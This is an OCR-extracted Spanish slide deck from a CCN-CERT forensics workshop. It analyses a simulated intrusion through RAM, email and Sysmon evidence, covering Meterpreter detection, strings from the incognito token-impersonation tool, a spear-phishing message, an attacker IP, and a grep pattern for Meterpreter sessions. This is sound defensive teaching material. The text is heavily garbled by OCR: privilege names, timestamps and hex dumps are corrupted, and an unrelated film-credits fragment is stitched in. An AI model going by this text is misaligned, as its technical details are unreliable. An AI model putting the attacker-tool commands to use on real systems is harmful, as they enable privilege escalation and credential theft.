10:
1a:
14:
14:
14:

559:
01:
59:
59:
559:
53:
559:
a9:
559:
559:

55:
02:
01:
03:
57:
a7

4
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24
24
48

UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UIC+0000
UTC+0000
UTC+0000
UTC+0000

UTC+0000
UTC+0000
UTC+0000
UIC+0000
UTC+0000

UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UIC+0000
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1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100
1100

rundll 3z
rundll 32
rundll 3z
rundll 32
rundll 32
rundll1 32
rundll 3z
rundll 3z
rundll 3z
rundll 3z
rundll 3z
rundll 32
rundll 3z
rundll32
rundll 32
rundll1 32
rundll 3z
rundll 3z
rundll 3z
rundll 3z
rundll 3z
rundll 32

2HEe
2He
2He
2HE
2HE
EHE
EHE
A
2HEe
2HEe
2HEe
2He
2He
2He
2HE
EHE
EHE
A
A
2HEe
2HEe
2He

Paso 6;: Memoria RAM

Analizamos los privilegios con privs

5 SelncreasefQuotaPrivilege

[ay]

-1

Ve ]

10
11

13
14
15

[
1 m

Ba k3 ORI ORI ORI ORI R O

Fa SO o TR - U R S o I T I

SeMachineficcountPrivilege
S5eTchbPrivilege
SeSecurityPrivilege
SeTakelwnershipPrivilege
SeloadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege

SeProfileSingleProcessPrivilege
SelIncreaseBasePriorityPrivilege

SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SelebugPrivilege
SefnditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeBempoteShutdownPrivilege
SelUndockPrivilege
SeSynchgentPrivilege

H m B #XIJornadasCCNCERT E H H

Pre=zent,Enabled

Prezent,Enabled
Prezent,Enabled
Prezent,Enabled
Pre=zent,Enabled
Prezent,Enabled
Prezent,Enabled
Prezent,Enabled
Pre=zent,Enabled

Present, Enabled
Prezent, Enabled
Prezent,Enabled
Prezent,Enabled

Prezent,Enabled

Preszent,Enabled, Default

Prezent,Enabled
Pre=zent,Enabled

<entro criptolégico nacional

Increase guotas

Add workstations to the doo
BRct as part of the operatir
Manage auditing and securit
Take ownership of filesz/ob
Load and unload device drix
Profile system performance
Change the =system time
Profile a =single process
Increase scheduling priorit
Create a pagefile

Create permanent shared obj
Backup files and directorie
REestore file=s and director3
Shut down the system

Debug programs

Generate security audits
Edit firmware environment -
Receive notifications of ct
Force shutdown from a remot
REemowve computer from dockir
Synch directory service dat
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SEGURIDAD

1100 rundll132
1100 rundll32
1100 rundll3Z
1100 rundll3Z
1100 rundll132
1100 rundll13Z
1100 rundll32
1100 rundll32
1100 rundll3Z
1100 rundll3Z
1100 rundll132
1100 rundll13Z
1100 rundll32
1100 rundll132

rundll32.

1100 rundll32.exe

1100 rundll32
1100 rundll132
1100 rundll32
1100 rundll3Z

- 2He
- 2He
. 2HE
- 2HE
2HE
- 2He
- 2He
- 2He
. 2HE
SHE
2HE
- 2He
- 2He
- 2He

- 2He
- 2He
- 2He
SHE

oy i

-]

[ I % R ' R R
[ T 3 BT R R

Paso 6;: Memoria RAM

Analizamos los privilegios con privs

SelncreasefmotaPrivilege
SeMachineficcountPrivilege
SeTckPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SelncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege

SeSystenEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege

SelndockPrivilege
SeSyvncigentPrivilege

H m B #XIJornadasCCNCERT E H H

Present,Enabled

Present,Enabled
Present,Enabled
Present,Enabled
Present,Enabled
Present,Enabled
Present,Enabled
Present,Enabled
Present,Enabled

Present,Enabled
Present,Enabled

Present,Enabled

Present,Enabled

<entro criptolégico nacional

Increase guotas

Add workstation=s to the do
Act as part of the operati
Manage auditing and securi
Take ownership of files/ob
Load and unload device dri
Profile =system performance
Change the system time
Profile a =single process
Increase scheduling priori
Create a pagefile

Create permanent shared ob
Backup files and directori
Restore files and director

Debug programs
ot v audits
Edit firmware environment

Present,Enabled, Default Receiwve notifications of ¢

Present,Enabled
Present,Enabled

Force shutdown from a remo
Remove computer from docki
Synch directory service da
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CIBER_

Buscamos malware con malfind:

0x00500038 0000 ADD [EAX], AL *  MNombre

0x0050003a 0000 ADD [ERX]), AL

0x0050003e 0000 ADD [EAX], AL | process.0uxfffffa8001b5ab00.0:3210000.dmp
0x0050003e 0000 ADD [EARX], AL | process.OxfffffaB001bed700.0:3070000.dmp

| process.ufffffaB001bed700.0:5820000. dmp
| process.0ufffffaB001 c2c740,0:2410000.dmp
| process.ufffffaB001 <762 c0.0:2020000. dmp
| process.0ufffffaB0021 eBb00.0:1 cB0000. drmp
|| process.0xfffffaB0021 e8b00.0x500000.dmp
|| process.OuxfffffaB0024fdb00.0:4£0000.dmp
|| process.OxfffffaB0024fdb00.0:5190000.dmp
| process.0uxfffffa80041 bd060.0:7700000.drmp

Frocess: rundll3Z.exe Pid: 1100 Address: 0x1cB0000
Wad Tag: Vad3 Protection: PRGE EXECUTE RERDWRITE
Flags: CommitCharge: 32, MemCommit: 1, PrivateMemorwvy: 1, Protection: &

0x01c80000 4d %a %0 00 O3 OO0 OO OO 04 OO 00 OO ££f £f 00 OO M. i i inns
0x01c80010 b8 00 OO OO OO OO OO OO 40 OO OO OO OO OO OO0 OO ........ Boo.ooo..
O0x01c80020 OO0 OO OO OO OO OO OO OO OO0 OO OO0 OO0 00 00 00 0D ... iveneerrnnn
O0x01cB80030 OO0 OO OO OO OO OO OO OO0 OO0 OO0 OO0 OO0 20 00 00 0D ..o rnnn

0x01c80000 4d DEC EBP || process.0xfffffaB0041bd060.0:7780000.dmp
Ox01e8000% Sa FOF ZDX __| process.0xfffffa8003998500.0x3ab0000.dmp
gigig;gggi EEOS EE R -] process.Oxfffffa8002839060.0x4 da0000.dmp
0x01cB80005 0000 ADD [EAX], AL

0x01c80007 000400 ADD [EAX+EAX], AL

0x01cB8000a 0000 ADD [ERX]), AL

0x01c8000c f££ DE Oxff

0x01c80004 ££00 INC DWORD [ERX]

0x01c8000Ff 00bBE0OCO00000 apnD [EaxX+0x0], EBH ?

0x01c80015 0000 ADD [EnX], LL 3
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LD Paso 6: Memoria RAM covcert

CIBER_

Buscamos malware con malfind:

0x00500038 0000 ADD [ERX], AL 1 Mambre

0x0050003a 0000 ADD [ERX], AL

0x0050003c 0000 ADD [EBX], AL || process.0xfffffaB001b5ab00,0:3a10000.dmp

0x0050003e 0000 BADD [ERX], AL || process.0ufffffaB001bed 700.0:3070000.dmp
|| process.0«fffffaB001bed 700.0:5830000.dmp

Progess: rundll3z.exe || process 0xfffffa8001c2c740.0:2410000.dmp

Vad Tag: VadS5 Protectldfl. PaAGE EARUUIER HESTIWR :

Flags: CommitCharge: 32, MemCommit: 1, PrivateMemory: 1, Protection: &

0x01c80000 4d 5a 90 00 03 00 00 00 04 00 00 00 f£ff £f 00 00 ME. . iiann
0x01c80010 g 00 00 Q0 QO Q0 QO OO 40 OO0 00 QO OO0 00 00 00  .......s I
0x01c80020 00O OO0 00 OO0 00 OO0 OO0 00 OO0 00 00 00 00 00 00 00 ... nnmennnnnns
0x01c80030 OO0 00 00 OO0 00 00 00 00 00 00 00 00 e0 00 00 00 ... nnneennnnns

|| process.QufffffaB0024fdb00.0:d fH0000.dmp
|| process.0xfffa80024fdb00.0:5190000.drmp
|| process.0xfffad0041 bd060.0:7700000.dmp

0x01c80000 4d DEC EEP || process.Qufffffa80041bd060.0x7780000.dmp
Ox01c80001 sa FOF EDX || process.0xfffffa8003998600.0:32b0000.dmp
0x01c80002 390 HOP

0x01c80003 0003 ADD [EBX], AL || process.0xffffaB002839060.0:4 dad000.dmp
0x01c80005 0000 ADD [ERX], AL

0x01c80007 000400 ADD [ERX+ERX], AL

0x01c8000a 0000 ADD [ERX], AL

0x01c8000c ff DE Oxff

0x01c8000d ££f00 INC DWORD [ERX]

0x01c8000f 0O0b20000000O0 ADD [EARX+0x0], BH L

0x01c80015 0000 ADD [ERX], AL |:
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SEGURIDAD

N-C

<entro criptolégico nacional

Subimos a MARIA el trozo de memoria sospechoso

Analisis del fichero process.0xfffffa80021e8b00.0x1c80000.dmp

Fecha: 2018-11-26 10:17:01

Nombre: process.0xfffffa80021e8b00.0x1c80000.dmp

Tamafio: 131072 bytes

Tipo de fichero: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Tipo MIME: application/x-dosexec

MD5: 1832475b9bf367055ef00e5273b183b0

SHA1L: 5013f81e18b5031a8ae2596ac801689ef2aa5149

SHAZ256: b675604b69fa033c0590122485086944 3deflececcbec501d30f1bf0d2cf40b99e

Resultado: POSITIVO

Negativo

H m B #XIJornadasCCNCERT E H H

Resultado Malware
NEGATIVO

NEGATIVO

POSITIVO Gen:HackTool.MeterPreter.1
POSITIVO Gen:HackTool MeterPreter.1 (B)
NEGATIVO

POSITIVO Trojan.IGENERIC

NEGATIVO

POSITIVO Gen:HackTool.MeterPreter.1
POSITIVO HackTool Win32. Incognito
NEGATIVO

NEGATIVO

NEGATIVO

NEGATIVO

NEGATIVO

POSITIVO Gen:HackTool.MeterPreter.1
POSITIVO Gen:HackTool.MeterPreter. 1{DB)
NEGATIVO
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SEGURIDAD Paso 6: Memoria RAM

Buscamos posibles comandos peligrosos:

99BA48230 [1100:02acefes] MO>b#],
096845243 [11@@:82aceff3] Ihm
998948251 [110@:82aceffb] bPq
996111232 [1188:81c92388] incognito list tokens

996111256 [1188:81c92398] incognito impersonate_token

996111288 [1188:81c923b8] incognito_add_user

996111312 [1188:81c923d8] incognito _add _group user

996111344 [1188:81c923f8] incognito add_localgroup user

996111376 [1186:81c92418] incognito_snarf_hashes

996111488 [1188:81c92438] No tokens available

996111432 [1188:81c92448] [+] Delegation token available

996111464 [1186:81c92468] [-] Mo delegation token available

996111584 [1106:81c92498] [+] Successfully impersonated user

996111544 [1186:81c924b8] [-] User token

996111568 [1186:81c924c8] not found

996111576 [1188:81c924d8] incognito

996111592 [1186:81c924e8] NtQuerySystemInformation

996111624 [1188:81c92588] NTDLL.DLL

996111648 [1188:01c92518] NtQueryObject

996112296 [1108:81c927a8] SelmpersonatePrivilege

996112328 [1188:81c927c@] [-] Failed to enumerate tokens with error code: ¥d
996112376 [1180:81c927f8] [*] Attempting to add user ¥s to host ¥s

996112488 [1100:81c92868] [+] Successfully added user

996112528 [1188:81c92888] [-] Computer name inwvalid

996112552 [1186:81c928a8] [-] Operation only allowed on primary domain controller
996112616 [1188:81c928e8] [-] Group already exists

996112648 [1100:81c92988] [-] User already exists
[-]
[-]
r 1

996112688 [1186:81c92928] Password does not meet complexity requirements
996112736 [1186:81c92968] Unknown error: %d
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CIBER_

SEGURIDAD

Paso 6;: Memoria RAM

Encontramos uso de incognito (impersonacion de usuarios)

99@R4E236 [1109:02acefed] MQ>b#],
008845243 [11808:82aceff3] Ihm
99048251 [110@:82aceffh] L. .
996111232 [1188:81c92388] incognito_list tokens

996111256 [1188:81c92398] incognito_impersonate_token

996111288 [1188:81c923b8] incognito add user

996111312 [11808:81c923de] incognito_add_group_user

996111344 [118@:81c923fe] incognito_add_localgroup _user

996111376 [1188:81c92418] incognito_snarf_hashes

0961114688 [1180:81c92438° No tokens available

0996111432 [11808:81c92448] [+] Delegation token available

996111464 [118@:81c92468] [-] Mo delegation token available

9961115684 [11808:81c92498] [+] Successfully impersonated user

0996111544 [1188:81c924b8] [-] User token

996111566 [1188:81c924c8] not found

996111576 [118@:81c924d8] incognito

996111592 [1188:81c924e8] NtQuerySystemInformation

996111624 [11808:81c92588] NTDLL.DLL

996111648 [118@:81c92518] NtQueryDbject

996112296 [1188:81c927a8] SeImpersonatePrivilege

096112326 [1180:81c927c@] [-] Failed to enumerate tokens with error code: %d
996112376 [11808:81c927f8] [*] Attempting to add user ¥s to host ¥s

996112488 [118@:81c92868] [+] Successfully added user

996112526 [1188:81c92888] [-] Computer name invalid

996112552 [11808:81c928a8] [-] Operation only allowed on primary domain controller
996112616 [11808:81c928e8] [-] Group already exists
[-]
[-]
[-1

996112648 [11868:81c92988] User already exists
996112686 [1188:81c92928] Password does not meet complexity requirements
996112736 [1180:81c92960 Unknown error: ¥d



CIBER | _
szcuripan = Paso 6: Memoria RAM coy-cert

Extra: truco para detectar sesiones de Meterpreter
Simbolo del sistema

C:%Users'antoniolDesktop' Forense_MINAFYPaso7_Memoria=grep “stdapi™ res_strings.txt
115303048 [1100:003a7288] stdapi_registry_set_wvalue_direct
115303776 [1100:003a7560] stdapl

998385128 [1100:02acb5e8] stdapi_registry_enum_key_direct
10456894580 [1100:02a46488] stdapi_registry_set_walue_direct
1131954856 [1100 stdapi_sys_power_exitwin
1131955229 [1100:0313 stdapi_ui_g

1131955288 [1100:03136458] stdapi_ui_stop_keyscan
1131955448 [1100:031364F8] stdapi_n

1131955520 [1100:03136540] stdapi_n

1131955588 [1100:03136584]) stdapi_net_c

1131955666 [1100:031365d2] stdapi

1131956337 [1100:03136871] stdapi_

1131957256 [1100:03136c08] stdapi_sys_proce”

C W UsersantoniohDesktoph Forense MINAFYPaso?7_Memoria=
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Paso 6;: Memoria RAM

= Se detectan conexiones y procesos maliciosos
= Usuario con privilegios de administrador

= Sesion de Meterpreter abierta

= Posible ejecucion de incognito

= [P maliciosa: 101.132.122.231:443
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» |OC: Posible IP del atacante:
101.132.122.231:443

= Deteccion: Logs del proxy/cortafuegos

» Truco: Buscar en TODOS los logs
disponibles, buscar en los historiales
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Paso 7: Correo electréonico

= Se extrae el correo del usuario del disco
= Microsoft Exchange - .ost

= Analizar correos, cabeceras y metadatos
= Tool: Kernel OST Viewer
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C’BER_ c(_\‘_cen-
Paso 7: Correo Electrénico

File  View Find Help

* Select File Find Help
=

4
<entro criptolégico nacional

SEGURIDAD

Folder List &M= 15 7E &G R Bandeja de entrada (5)
59 C:\Users\antonio\Desktop\Fm; - | - | - | From - | Subject « | Date/Time v | Lost/Deleted =
=3 Raiz - Buzén <FILTER> £ <FILTER> £ <FILTER> £ <FILTER> e
- ~MAPISP{Internal)
R RRHH MINAF<mhh@minaf.... Concurso felicidad suprema navidades... Mon 10/22/2018 21:38 PM Bxsting
- Acceso directo
£ Buscador ¥ (0 ll deruncias@mijusticia es<de... Denuncia por prevaricacion Thu 09/20/2018 20:03 FM Existing
.23 Datos compartidos e Maria Feliz <maria feliz@min... RE: Planes para la felicidad v.10 Sat 09/15/2018 05:30 AM Existing
Drizzle aria Feliz <maria feliz@min... : Planes para la felicidad . at B isting
i | Maria Fel feliz@m RE: FI la felicidad v.10 Sat 09/15/2018 09:28 AM Exi
=3 IPM_SUBTREE @ Maria Feliz <maria feliz@min... Pruebal Tue 09/04,2018 1457 PM BExisting
[ Bandeja de entrad

-1 Bandeja de salida H Simple View | Advanced Properties View -
[l Borradores

-[£]] Calendario

-1 Configuracion de p
4] Contactos

-] Contactos sugeridc
[ Conversation Actio
-1 Correo no deseadc
8l Diario

.. Elementos elimina Hola, Pepe }
[ Elementos enviads
- Fuentes RSS Volvemos de nuevo con el concurso anual de "Felicidad suprema”, en el que buscamos la idea mas feliz del afio.

Concurso felicidad suprema navidades 2018
RRHH MIMAF < rrhh@minaf.es> Mon 10/22/2018 21:35 PM

To:  Pepe Contento

E-{3 Problemas de sincr Tenemos todas las bases en nuestro Sharepoint:
.3 Conflictos

http://sharepoint.mina es:8000/ felicidad.hitm]

.. Errores locales
[ Suministro de notic ITe esperamos!

e o s Carmat: Tarana



C’BER_ c(_\!_cm
Paso 7: Correo Electrénico

ra ™y

File  View Find Help

(7 selectFile Q Find ® Help

<entro criptolégico nacional

SEGURIDAD

Folder List & M 1 (5] 7150 & 5l dm g I8 gl ) Bandejade entrada (5)
Eg C:\Users\antonio\Desk‘top\Fm: - | - | - | From - | Subject | Date/Time + | Lost/Deleted -
E‘"ﬁg'z ';;;‘I’:Pﬂ - <FILTER> £ <FILTER> £ <FILTERs P <FILTERs 0
~ nterna
.3 Acceso directo RRHH MINAF<rhh@minaf.... Concurse felicidad suprema navidades... Mon 10/22/2018 21:38 PM Existing
.3 Buscador ¥ (0 [l denuncias@mjusticia es<de... Denuncia por prevarcacion Thu 09/20/2018 20:03 PM Existing
..C3 Datos compartidos 22 Maria Feliz <maria felizi@min... RE: Planes para |a felicidad v.10 Sat 09/15/2018 05:30 AM Bxdsting
Drizzle aria Feliz <mana feliz in... : Planes para la felicidad v. at § isting
i | Maria Fell feliz@m RE: Pl la felicidad v.10 Sat 0941572018 09:28 AM Exi
=4 IPM_SUBTREE @ Maria Feliz <maria felizi@min... Pruebal Tue 05/04/2018 14:57 PM Bxdsting
.. Bandeja de entrad

{1 Bandeja de salida H Simple View | Advanced Properties View q b M
.. 1l Borradores

2] Calendario
[ Configuracién de p
--la] Contactos
-] Contactos sugeridc
-1 Conversation Actio
-1 Correo no deseadc

Concurso felicidad suprema navidades 2018
RRHH MINAF<rrhh@minaf.es> Mon 10/22/2018 21:38 FM

m

To:  Pepe Contento

4l Diario
.1 EHlementos elimina Hola, Pepe
.- Hementos enviad¢
g Fuentes RS3 Volvemos de nuevo con el concurso anual de "Felicidad suprema", en el que buscamos la idea mas feliz del afio.
----- Motas
=1 Problemas de sincr Tenemos todas las bases en nuestro Sharepoint:
[ Conflictos L
[ Errores del servi I http:/sharepoint mina es:8000 felicidad html I
i..[ 1 Errores locales
... Suministre de notic !Te esperamos!
EEE ] @ - [/] Tareas HE

P Victas Carmen Jarana



C’BER_ CD‘-CE(T
Paso 7: Correo Electrénico

SEGURIDAD

4
<entro criptolégico nacional

L

RRHH MIMAF<mhhEminaf.... Concurso felicidad suprema navidades... Mon 10/22/2018 21:38 PM Existing
¥ (3 Il denuncias@mjusticia es<de... Denuncia por prevaricacion Thu 09/20/2018 20:03 PM Existing
@ Maria Feliz <mara feliz@min... RE: Planes para la felicidad v. 10 Sat 09/15/2018 09:30 AM Existing
L Maria Feliz zmara feliz@min... RE: Planes para la felicidad v. 10 Sat 05/15/2018 05:28 AM Existing
L2 Maria Feliz <maria feliz@min... Prusbal Tue 09/04/2018 14:57 PM Existing
4 Simple View Advanced Properties View 4 F M
Property Mame Property Tag Property Type Data :I
FR_RECEIVED ... C0075001F LUTF-1& Unicode string EX
FR_RECEIVED_... eDO7EDOTF UTF-16 Unicode string SO=MINAF/QU=EXCHANGE ADMINISTRATIVE .
FR_RCVD_REFP.. DO77D01F UTF-16 Unicode string EX
FR_RCVD _REP.. [DO7BD01F UTF-16 Unicode string SO=MINAF/QU=EXCHANGE ADMINISTRATIVE ..
PR_TRAMSPOR... 007DO0TF UTF-1& Unicode string Recei~d: from comeo.mina.es (172.16.1.2) by comeo minaf .es (10.11.0.107)
' with Mirosoft SMTP Serverid 14.3 408.0; Man, 22 Oct 2018 22:37.54 +0200
e ST Recaived: from [127.0.1.1] {unknown [101.132.122.231]by comeo mina.es
FR_SENDER_M.. OC1ADDIF UTF-16 Unicode string (Postfic) with ESMTPS id 6ADGEERADE or <pepe contento@minal es>; Mon, 22 Oct
' 2018 22:38:09 0200 (CEST)
FR_SEMDER_S... OC1DO0102 Binary data Content-Type: multipart /mixed:
FR_SENDER_A... [OC1EDDIF UTF-16 Unicode string boundary="===============T838037387482601352==" ﬂ
MIME-Version: 1.0
! Hex Preview | Txt Preview = Unicode Txt Preview From: =7utf-376 ?UIISCBNSLUSERg=="= <mhh&minaf 25>
onnn To: <pepe.contento @minaf es>
4 ¥-Pricrity:
¥-M5Mail-Priority:
Subject:

=2utf-8 70 A0 290 Y IVec 280 mY=aWNp ZG Pk IHN 1c HJIB WEgbm F2aWRhZGVz I DiwMTo="=



CIBER_ C
Paso 7: Correo Electrénico

SEGURIDAD

4
<entro criptolégico nacional

RRHH MINAFzmhh@minaf.... Concurso felicidad suprema navidades... Mon 10/22/2018 21:38 FM Existing
¥ 3 Il denuncias@mijusticia.es<de... Denuncia por prevaricacion Thu 09/20/2018 20:03 PM Exdsting
ﬁ Mara Feliz <mara feliz @min... RE: Planes para la felicidad v. 10 Sat 091552018 09:30 AM Existing
ﬁ Mara Feliz zmaria feliz @min... RE: Planes para la felicidad v. 10 Sat 09/15/2018 05:28 AM Exdsting
¥ Maria Feliz <maria feliz@min... Pruebal Tue 09/04/2012 14:57 PM Existing
I simple View. Advanced Properties View 4 [ H
Froperty Mame Froperty Tag Property Type Data :I
PR_RECEIVED ... e0075001F UTF-16 Unicode string EX
PE_RECEIVED_... (e0076001F UTF-16 Unicode string SO=MINAF/OU=EXCHANGE ADMIMISTRATIVE. ..
PE_RCVD_REP... e0077001F UTF-16 Unicode string EX J
PR_RCVD_REP... 0x0073001F UTF-1& Unicode string SO=MINAF/AOU=EXCHANGE ADMIMISTRATIVE...
PRE_TRAMSPOR... =007DOOMF UTF-16 Unicode string Receif™d: from comeo.mina. es (172. 'IE 'I 2} by COME0 | mlnaf &s (10.11.0. 'II]'1}
PR_SENDER E.. GxIC190102 Binary data with MiErosoft SMTP Se '
= == ¥ Hec:ewe::l from [127.0.11 Iunknn:lwn ['I 01.132. 12, 231]}1:1',' COME0 mina.es
PE_SEMDER_M... =0C1ADDTF UTF-1& Unicode string (Postfic) with ESMTPS id -
) 2018 22:38:09 +0200 (CEST)
PE_SEMDER_S... eOC1D0102 Binary data Content-Type: muttipart/mixed:
PE_SEMDER_A... =OCI1EQDTF UTF-1& Unicode string boundary="===============7600037387482601352==" ﬂ
MIME-Version: 1.0
4 Hex Preview | Txt Preview | Unicode Txt Preview From: =Hutf-87 ?LIJISCEMS USBRg=="= arthh@minaf a5
ooon To: <pepe contento@Eminaf es> —
¥-Priority:
¥-MSMail-Priority:
Subject:
T O TR IR e e T b o TR TR T B T BT o Tl T b BT VAT b 0 e I b R T
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Paso 7: Correo electréonico

= Spear-phishing contra un alto cargo
= Contenido: enlace malicioso (ya conocido)
= Se obtienen metadatos del correo
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CIBER_ cov-cert

SEGURIDAD

—|OCs——

» |OCT: IP del servidor de correo atacante =
101.132.122.231:443

» |OC2: Message-ID = correo.mina.es
= |OC3: Asunto = “Concurso felicidad suprema...”
= Deteccion: Logs de la pasarela de correo

* Truco: Buscar en TODOS los logs disponibles,
buscar en los historiales
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SEGURIDAD

2.

Conclusiones del analisis forense
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Conclusiones del analisis forense

= |os atacantes envian un correo con un enlace
malicioso a Pepe Contento

= £ usuario pincha en el enlace y abre el
Javascript malicioso, infectando el equipo

» | 0s atacantes toman control del equipo con una
sesion de Meterpreter
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Conclusiones del analisis forense

= E| usuario Pepe Contento es administrador local del
equipoy la cuenta dom.adm ha iniciado sesion en
el equipo

= [Hipotesis]: Los atacantes ejecutan Mimikatz y
capturan las credenciales del admin de dominio

= [HipOtesis]: Los atacantes acceden ejecutan DCSync
/ acceden al NTDIS.dit del DC
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Conclusiones del analisis forense

= | 0s atacantes rompen offline las contrasefias de
l0s altos cargos

= Se producen los accesos al correo de los altos
cargos a traves del webmail
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Paso 8: Sysmon

= Sysmon: monitorizacion de endpoint

= Captura info de nuevos procesos, conexiones...
= Genera un log de eventos: Sysmon/Operational
= Tool: Visor de eventos de Windows
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SEGURIDAD PaSO 8 : SysmOn CNMCEIT

Microsoft-Windows-Sysmon¥%40perational 7 MNuimero de eventos: 22,271

=7 Filtrados:Registro: file://C:hlUsers\antonich\Desktop'\Forense_MINAFPasoll_Sysmoni\Microsoft-Windows-5Sysmon %4 Operational.evis Origen: Intervalo de
Mivel Fecha y hora Origen Id. del evento  Categoria de la tarea i
G:}Informacién 03/11/2018 11:05:04 Sysmon 3 Network connection d... ||
@Im‘ormacién 03/11/2018 11:05:0= Sysmon 1 Process Create (rule: Pr..,
@Informacién 02/11,/2018 11:04:44 Sysmon 1 Process Create (rule: Pr... -
« [ 1 | »
Evento 3, Sysmon x

General | Detalles

Metwaork connection detected:

UtcTime:

ProcessGuid: 2018-11-03 10:05:04 498
Processid: 0

Image: 3692

User: C\Windowsh\System32hwscript.exe
Protocol: MINAR pepe.contento
Initiated: tcp

Sourcelslpvi: true

Sourcelp: false

SourceHostname: 10.11.0.11

SourcePort: 0

SourcePortMame: 53257
Destinationlslpwb:

DestinationIp: false
DestinationHestname: 101.132.122.231
DestinationPort: 0
DestinationPortMarme: 8000

HE B ; HE
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SEGURIDAD PaSO 8 SysmOn C(.\‘CEIT

Mivel Fecha y hora Origen Id. del evento  Categoria de la tarea gt
@Infﬂrmaciﬁn 03/11/2018 11:06:31 Sysmon 1 Process Create (rule: Pr... |j
@Informaci&n 03/11/2018 11:05:49 Sysmon 13 Registry value set (rule:...
@Informaciﬁ-n 03/11/2015 11:05:49 Sysmon 1 Process Create (rule: Pr...
@Infurmaciﬁn 03/11/2018 11:05:49 Sysmon 13 Registry value set (rule:...
@Informacién 03/11/2018 11:05:49 Sysmon 13 Registry value set (rule:...
@Informaciﬁ-n 03/11/2018 11:05:18 Sysmon 3 Metwork connection d...
@Informaciﬁn 03/11/2018 11:05:18 Sysmon 3 Metwork connection d... -
‘ [ 0 [ »
Evento 13, Sysmon x

General | Detalles

Registry value set:

EventType:

UtcTime: SetValue

ProcessGuid: 2018-11-03 10:05:49171

Processld: 0

Image: 452

TargetObject: C\Windows\system32\services.exe

Details: HELMWY Systermi CurrentControlSet\services\weajmzi Start

H m B #XIJornadasCCNCERT E H H HE E B www.cch-cert.cniies m E B



CIBER_

SEGURIDAD PaSO 8 SysmOn cuceﬂ-

Mivel Fecha y hora Origen Id. del evento  Categoria de la tarea o
@Infnrmaciuﬁn 03/11/2018 11:09:09 Sysmon 1 Process Create (rule: Pr... | |
r@}Irﬂ‘u:rrmau::iﬁln 03/11/2018 11:08:32 Sysmon 13 Registry value set (rule:...
@Infurmaciﬁun 03/11/2018 11:07:32 Sysmon 3 Metwork connection d...
@Infnrmaciuﬁn 03/11/2018 11:07:32 Sysmon 3 Metwork connection d...
@Infurmaciﬁun 03/11/2018 11:06:37 Sysmon 1 Process Create (rule: Pr...
@Infnrr‘naci&-n 03/11/2018 11:06:37 Sysmon 1 Process Create (rule: Pr...
I:DInfl:urrﬁal:i|f|r1 03/11/2018 11:06:31 Sysmon 1 Process Create (rule: Pr.. -
. [ i | »
Evento 13, Sysmon x

General | Detalles

Registry value set:

EventType:

LUtcTime: 5etValue

ProcessGuid: 2018-11-03 10:08:32.631

Processld: 0

Irnage: 1100

TargetObject: CAWindows\System32hrundl32.exe

Details HELNS-1-5-21-4217457921 -347679429-1194348710-11 32\ Software' Microsoft Wind ows\ CurrentVersion\RunFelicidad2 .0

H m B #XIJornadasCCNCERT E H H HE E B www.cch-cert.cniies m E B



Paso 11: Sysmon

= Sysmon permite detectar diversas fases de |a
ejecucion del malware

= Consejo: centralizar la salida de Sysmon en un
servidor externo

= Sysmon tiene un potencial tremendo para
detectar ataques dirigidos
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/)
carmen &

Ciberinteligencia
Avanzada

Centro de Analisis de Registros
y Mineria de EveNtos

by 52 Grupo en colaboracién con [‘-/ [‘-( lN
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Pero ... ¢y si los atacantes fueran MUY BUENOS?




Acciones anti-forense

= Se reinicia el equipo, se pierde la RAM - Perdemos las
acciones realizadas por el atacante

= E| atacante no quiere persistencia en memoria 2>No |o
podriamos localizar en el registro

= Siel atacante solo quisiera las credenciales - hace el
DCSync y reinicia el equipo sin persistencia = el unico
rastro es la (escasa) navegacion web
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Acciones anti-forense

» E| atacante tira el servidor web = no tendriamos el
contenido de los felicidad™*

= E| atacante borra el correo del cliente = no sabriamos
de donde viene el ataque

H m B #XIJornadasCCNCERT E H H HE E B www.cch-cert.cniies m E B



sstgigﬁR- CNCE‘T

Maxima: LOS ATACANTES NO SON PERFECTOS
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SEGURIDAD

3.

Conclusiones
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SEGURIDAD cm‘cer.r

Forense = buscar una aguja en un pajar

T 3
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SEGURIDAD

Forense tradicional (frio) vs Forense en vivo (caliente)
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SEGURIDAD

El malware es cada vez mas listo
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Trabaja como sl
estuvieras

COMPROMETIDO



Fvidencias: https://loreto.ccn-
cert.cni.es/index.php/s/DG40EF8jKini94k

Captura de evidencias en incidentes complejos: https://vanesa.ccn-
cert.cni.es/userportal/#/player/vod/Ud1b1cb038d3f4d59a2642abd9ed
0d890

Email: asanz@s2grupo.es

Twitter: @antoniosanzalc
Canal de forense : t.me/forense
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XIl Jornadas STIC CCN-CERT
Ciberseguridad,
hacia una respuesta y disuasion efectivas

» E-Mails
info@ccn-cert.cni.es
ccn@cni.es
organismo.certificacion@cni.es
Websites

WWW.CCN.CNI.es
WWW.CCn-cert.cni.es
oc.ccn.cni.es

> Siguenos en

in kI y




Cast
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Directed by

Screenplay by
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Editor

Director of Photography
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GIORGOS ELLINAS
FRED NURK

JOE PUBLIC
CHANSIU MING
HERR SCHMIDT
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PEFTAR PEFTRO\VIC
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EXTRA BONUS SLIDES

(material adicional que por limites de
tiempo se ha dejado fuera del taller)

H m B #XIJornadasCCNCERT E H H HE E B www.cch-cert.chi.es m



indice
1. Adquisicion de evidencias

2. (Caso practico: Analisis forense paso a paso
3. Resultados del analisis forense

4. Conclusiones

E B B #XIJornadasCCNCERT E EH H

H B B www.cch-cert.cniies B H R



CIBER_

SEGURIDAD

(Breve) Introduccion al analisis forense
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Objetivo: Responder a las 5 preguntas

# ;Qué ha sucedido?

#  ¢Quién estd implicado?
# :Donde ha ocurrido?
# ;Cuando ha sucedido?
# ¢Por qué ha pasado?
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Objetivo: encontrar un
hilo del que tirar
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SEGURIDAD

2.

Adquisicion de evidencias
